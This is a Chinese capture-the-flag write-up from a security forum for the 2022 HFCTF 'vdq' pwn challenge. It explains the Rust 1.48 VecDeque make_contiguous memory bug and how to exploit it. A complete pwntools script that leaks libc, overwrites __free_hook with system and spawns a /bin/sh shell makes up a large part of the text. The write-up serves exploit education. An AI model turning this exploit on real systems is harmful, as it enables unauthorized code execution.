2022虎符_vdq(rust_cve)详解

gxh191 2022-07-07 09:43:00

虎符2022_vdq(rust_cve)详解

概述

这题是 GLIBC 2.27-3ubuntu1.5 的版本,想着 2.27 可以直接 free 两次,但是这个 2.27-3ubuntu1.5 patch 了 double free,还加了 key,double_free 就没那么好搞,所以这题我用的是任意写 free_hook 为 system 进行getshell

代码审计

需要了解一下 rust 的函数

VecDeque 的相关函数的官方文档

https://doc.rust-lang.org/std/collections/struct.VecDeque.html

结构体 VecDeque,双端队列

pub struct VecDeque<
    T,
    #[unstable(feature = "allocator_api", issue = "32838")] A: Allocator = Global,
> {
    // tail and head are pointers into the buffer. Tail always points
    // to the first element that could be read, Head always points
    // to where data should be written.
    // If tail == head the buffer is empty. The length of the ringbuffer
    // is defined as the distance between the two.
    tail: usize,
    head: usize,
    buf: RawVec<T, A>,
}

tail 指向第一个要被 pop 的元素,head 指向 第一个要写入的地方

pop_front

fn pop_front(&mut self) -> Option<T>
// 移除最前面的元素,也就是移除 tail 指向的元素,且返回元素,如果 VecDeque 为空,就返回 null
// tail 会加 1

push_back 函数

pub fn push_back(&mut self, value: T)
// 添加元素到尾部,也就是 head 指向的地方
// head 会加 1

push_front 函数

pub fn push_front(&mut self, value: T)
// 添加元素到头部
// tail 会减 1

drop_in_place 函数

pub unsafe fn drop_in_place(self)
// 没看到 src,调试看差不多是 free 函数这种功能

with_capacity 函数

pub fn with_capacity(capacity: usize) -> VecDeque<T, Global>
// 创建一个 VecDeque,至少有 capacity 容量

然后会自动扩容

append 函数

pub fn append(&mut self, other: &mut VecDeque<T, A>)
// 将 other 的元素移入 self

这题的 append 函数是对 chunk 进行操作的

调试来看的话,空间够就会直接移入,空间不够就会重新申请一个 chunk,然后移入

然后分析一下程序

程序一开始就是用 get_opr_lst 读取操作,然后

Untitled.png

然后对输入进行 json解析反序列化,给到 handle_opr_lst 函数进行操作

Untitled 1.png

输入格式应该以 $ 结尾,大致如下

a = '''[
    "Add", "Add", "Remove", "Remove", "Add", "Add", "Add"
]
$'''

handle_opr_lst 首先创建一个 capacity 为 2 的 VecDeque 双端队列 dq,然后又 new 一块空间(这个不重要)

Untitled 2.png

dq 会自己扩容,一开始是 0x30 的 chunk,也就是有 0x20 的空间,可以放四个元素(0,1,2,3)

扩容一次就变成 0x50,放八个元素,以此类推。。。

之后就是进入一个循环,进行 switch,一共五个功能

Untitled 3.png

swtich 0:add
swtich 1:remove
swtich 2:append
swtich 3:Archive
swtich 4:View

一个个看吧

先看 add

Untitled 4.png

会创建一个 0x30 的 chunk,结构如下

chunk
00000000    chunk_size
bit         idx(1开始)
mess_ptr    min
from_len

from_len 就是之后 append 函数追加的位置

根据 head 位置进行添加

再看一下 remove

Untitled 5.png

其实就是检查 bit,然后检查是否为空,然后根据 tail 的位置进行 free

接着是 append

Untitled 6.png

就是根据 append 的大小申请一个 chunk,然后将 chunk 的内容复制进 mess_ptr,大小够就直接复制,不够的话就 free 原先的 mess_ptr,然后再 malloc 一个新的 mess_ptr,最后将一开始申请的 chunk free 掉

然后是 Archive

Untitled 7.png

这个 Archive 正常情况下只是进行 pop_front,tail+1,没有实际的 free操作,但是如果 bit 检查失败,也就是 bit 不为 1,那就会进行 free 操作,会报 double_free,然后 crash

这题我主要用这个 Archive 来调整 tail,没发现 Archive 的其他用法

这个 view 就是根据 tail 的位置输出各个 mess_ptr 指向的内容

Untitled 8.png

一开始认为这个 view 不太可能有漏洞,但网上看到 1.48 有个 make_contiguous 的 cve

漏洞就在这

https://github.com/rust-lang/rust/issues/79808

patch

https://github.com/rust-lang/rust/pull/79814/files

先查一下程序版本,确实是 1.48 的 rust 程序

strings vdq1 | grep version
clang LLVM (rustc version 1.48.0 (7eac88abb 2020-11-16))

make_contiguous 主要作业就是试元素变得连续

make_contiguous 源码

make_contiguous
#[stable(feature = "deque_make_contiguous", since = "1.48.0")]
    pub fn make_contiguous(&mut self) -> &mut [T] {
        if self.is_contiguous() {
            let tail = self.tail;
            let head = self.head;
            return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
        }

        let buf = self.buf.ptr();
        let cap = self.cap();
        let len = self.len();

        let free = self.tail - self.head;
        let tail_len = cap - self.tail;

        if free >= tail_len {
            // there is enough free space to copy the tail in one go,
            // this means that we first shift the head backwards, and then
            // copy the tail to the correct position.
            //
            // from: DEFGH....ABC
            // to:   ABCDEFGH....
            unsafe {
                ptr::copy(buf, buf.add(tail_len), self.head);
                // ...DEFGH.ABC
                ptr::copy_nonoverlapping(buf.add(self.tail), buf, tail_len);
                // ABCDEFGH....

                self.tail = 0;
                self.head = len;
            }
        } else if free >= self.head {
            // there is enough free space to copy the head in one go,
            // this means that we first shift the tail forwards, and then
            // copy the head to the correct position.
            //
            // from: FGH....ABCDE
            // to:   ...ABCDEFGH.
            unsafe {
                ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
                // FGHABCDE....
                ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
                // ...ABCDEFGH.

                self.tail = self.head;
                self.head = self.tail + len;
            }
        } else {
            // free is smaller than both head and tail,
            // this means we have to slowly "swap" the tail and the head.
            //
            // from: EFGHI...ABCD or HIJK.ABCDEFG
            // to:   ABCDEFGHI... or ABCDEFGHIJK.
            let mut left_edge: usize = 0;
            let mut right_edge: usize = self.tail;
            unsafe {
                // The general problem looks like this
                // GHIJKLM...ABCDEF - before any swaps
                // ABCDEFM...GHIJKL - after 1 pass of swaps
                // ABCDEFGHIJM...KL - swap until the left edge reaches the temp store
                //                  - then restart the algorithm with a new (smaller) store
                // Sometimes the temp store is reached when the right edge is at the end
                // of the buffer - this means we've hit the right order with fewer swaps!
                // E.g
                // EF..ABCD
                // ABCDEF.. - after four only swaps we've finished
                while left_edge < len && right_edge != cap {
                    let mut right_offset = 0;
                    for i in left_edge..right_edge {
                        right_offset = (i - left_edge) % (cap - right_edge);
                        let src: isize = (right_edge + right_offset) as isize;
                        ptr::swap(buf.add(i), buf.offset(src));
                    }
                    let n_ops = right_edge - left_edge;
                    left_edge += n_ops;
                    right_edge += right_offset + 1;
                }

                self.tail = 0;
                self.head = len;
            }
        }

        let tail = self.tail;
        let head = self.head;
        unsafe { &mut self.buffer_as_mut_slice()[tail..head] }
    }

我主要用的这一块的漏洞

Untitled 9.png

        let tail = self.tail;
        let head = self.head;
        let buf = self.buf.ptr();
        let cap = self.cap();
        let len = self.len();

        let free = self.tail - self.head;
        let tail_len = cap - self.tail;
        } else if free >= self.head {
            // there is enough free space to copy the head in one go,
            // this means that we first shift the tail forwards, and then
            // copy the head to the correct position.
            //
            // from: FGH....ABCDE
            // to:   ...ABCDEFGH.
            unsafe {
                ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
                // FGHABCDE....
                ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
                // ...ABCDEFGH.

                self.tail = self.head;
                self.head = self.tail + len;
            }

利用

一开始没扩容时,让 head 和 tail 都为 2

1.jpg

然后 push_back 三次,第三次申请 0x410 的大小,也就是 c 为 0x420

2.jpg

3.jpg

此时

        let tail = self.tail;// 2
        let head = self.head;// 1
        let buf = self.buf.ptr();// 0
        let cap = self.cap();// 4
        let len = self.len();// 

        let free = self.tail - self.head;// 1
        let tail_len = cap - self.tail;// 2

然后进行 make_contiguous

        } else if free >= self.head {
            // there is enough free space to copy the head in one go,
            // this means that we first shift the tail forwards, and then
            // copy the head to the correct position.
            //
            // from: FGH....ABCDE
            // to:   ...ABCDEFGH.
            unsafe {
                ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
                // FGHABCDE....
                ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
                // ...ABCDEFGH.

                self.tail = self.head;// 2
                self.head = self.tail + len;// 4
            }

就会变成,发现有两个 c,就可以进行 uaf

4.jpg

只需要 remove 三次,使 tail 指向0,然后再 view,就可以 leak 出 c 的内容,也就是 libc 相关地址

接下来就是使其扩容,cap 就变成了 8,然后调整成下面这样,再进行 make_contiguous 操作

                let tail = self.tail;// 4
        let head = self.head;// 2
        let buf = self.buf.ptr();
        let cap = self.cap();// 8
        let len = self.len();// 6

        let free = self.tail - self.head;// 2
        let tail_len = cap - self.tail;// 4
        } else if free >= self.head {
            // there is enough free space to copy the head in one go,
            // this means that we first shift the tail forwards, and then
            // copy the head to the correct position.
            //
            // from: FGH....ABCDE
            // to:   ...ABCDEFGH.
            unsafe {
                ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
                // FGHABCDE....
                ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
                // ...ABCDEFGH.

                self.tail = self.head;// 2
                self.head = self.tail + len;// 2+6 = 8
            }

就会变成这样,首位有两个相同的元素

5.jpg

然后现将 t 调整到 6,然后 remove a,这时 a 就在 tcahce(0x30) 中,然后再 append b,就会取出 a 作为临时的 tmp,然后将 a 的 ptr 改成 p64(free_hook-0xa),因为最后会有回车,也就是 0xa,之后 append a 的时候会从 0xa 的地方开始写,所以这里 free_hook 要减 0xa,append b 之后,再用 Archive 调整 t 的位置,t 就到了 0 的位置,再 append a 就可以修改 free_hook 了,改成 system,就可以 getshell 了

exp

#! /usr/bin/env python3
from pwn import *

arch = 64
challenge = './vdq1'

context.os = 'linux'
# context.log_level = 'debug'
if arch == 64:
    context.arch = 'amd64'
if arch == 32:
    context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc-2.27.so')

local = 1
if local:
    p = process(challenge)
else:
    p = remote('chuj.top', '53178')

def debug():
    gdb.attach(p,"\
b *$rebase(0xDB51)\nb *$rebase(0xDB6f)\n\
b *$rebase(0xDE53)\nb *$rebase(0xE311)\n\
b *$rebase(0xE2B8)\nb *$rebase(0xE456)\n\
b *$rebase(0xE383)\nb *$rebase(0xDFAF)\n\
b *$rebase(0xE0C2)\nb *$rebase(0xE456)\n\
b *$rebase(0xE0DE)\nb *$rebase(0xDE16)\n\
b *$rebase(0xe069)")
    # pause()

p.recvuntil('!\n')
#! line5: 4 2  2 2+6  2 8
a = '''[
    "Add", "Add", "Remove", "Remove", "Add", "Add", "Add",
    "View",
    "Remove", "Remove", "Remove", "View",
    "Add", "Add", "Add", "Add", "Remove", "Remove", "Remove", "Remove",
    "Add", "Add","Add", "Add", "Add", "Add",
    "View",
    "Remove", "Remove", "Remove", "Remove", "Remove",
    "Append", "Archive", "Append", "Add"
]
$'''

debug()
p.sendline(a)

p.recvuntil('Add note [1] with message : \n')
p.sendline('')
p.recvuntil('Add note [2] with message : \n')
p.sendline('')
p.recvuntil('Add note [3] with message : \n')
p.sendline('')
p.recvuntil('Add note [4] with message : \n')
p.sendline('')
p.recvuntil('Add note [5] with message : \n')
p.sendline(0x410*'a')

p.recvuntil('Cached notes:\n')
p.recvuntil('Cached notes:\n')
p.recvuntil(' -> ')

a1 = p.recv(2)
a2 = p.recv(2)
a3 = p.recv(2)
a4 = p.recv(2)
a5 = p.recv(2)
a6 = p.recv(2)
libc.address = int(a6+a5+a4+a3+a2+a1,16)-0x3ebca0
log.success("libc.address: "+hex(libc.address))
free_hook = libc.symbols["__free_hook"]
log.success("free_hook: "+hex(free_hook))
system = libc.symbols["system"]
log.success("system: "+hex(system))

p.recvuntil('Add note [6] with message : \n')
p.sendline('')
p.recvuntil('Add note [7] with message : \n')
p.sendline('')
p.recvuntil('Add note [8] with message : \n')
p.sendline('')
p.recvuntil('Add note [9] with message : \n')
p.sendline('')
p.recvuntil('Add note [10] with message : \n')
p.sendline('')
p.recvuntil('Add note [11] with message : \n')
p.sendline('')
p.recvuntil('Add note [12] with message : \n')
p.sendline('')
p.recvuntil('Add note [13] with message : \n')
p.sendline('')
p.recvuntil('Add note [14] with message : \n')
p.sendline('')
p.recvuntil('Add note [15] with message : \n')
p.sendline('')

p.recvuntil('Append with message : \n')
p.sendline(p64(0x0)+p64(0)+p64(free_hook-0xa)+p64(0))
p.recvuntil('Append with message : \n')
p.sendline(p64(system))
p.recvuntil('Add note [16] with message : \n')
p.sendline(b'/bin/sh\x00')
p.interactive()

# [
# "Add", 
# "Remove", 
# "Append", 
# "Archive", 
# "View"
# ]

可以看到成功 getshell 了
Snipaste_2022-05-05_16-36-33.png

评论

W

wenling 2022-07-07 23:27:30

tql

NanHu 2022-07-08 14:53:32

大哥带带带带带带带带带带带带带带带带带

gxh191

这个人很懒,没有留下任何介绍

随机分类

木马与病毒 文章:125 篇
运维安全 文章:62 篇
漏洞分析 文章:212 篇
软件安全 文章:17 篇
事件分析 文章:223 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录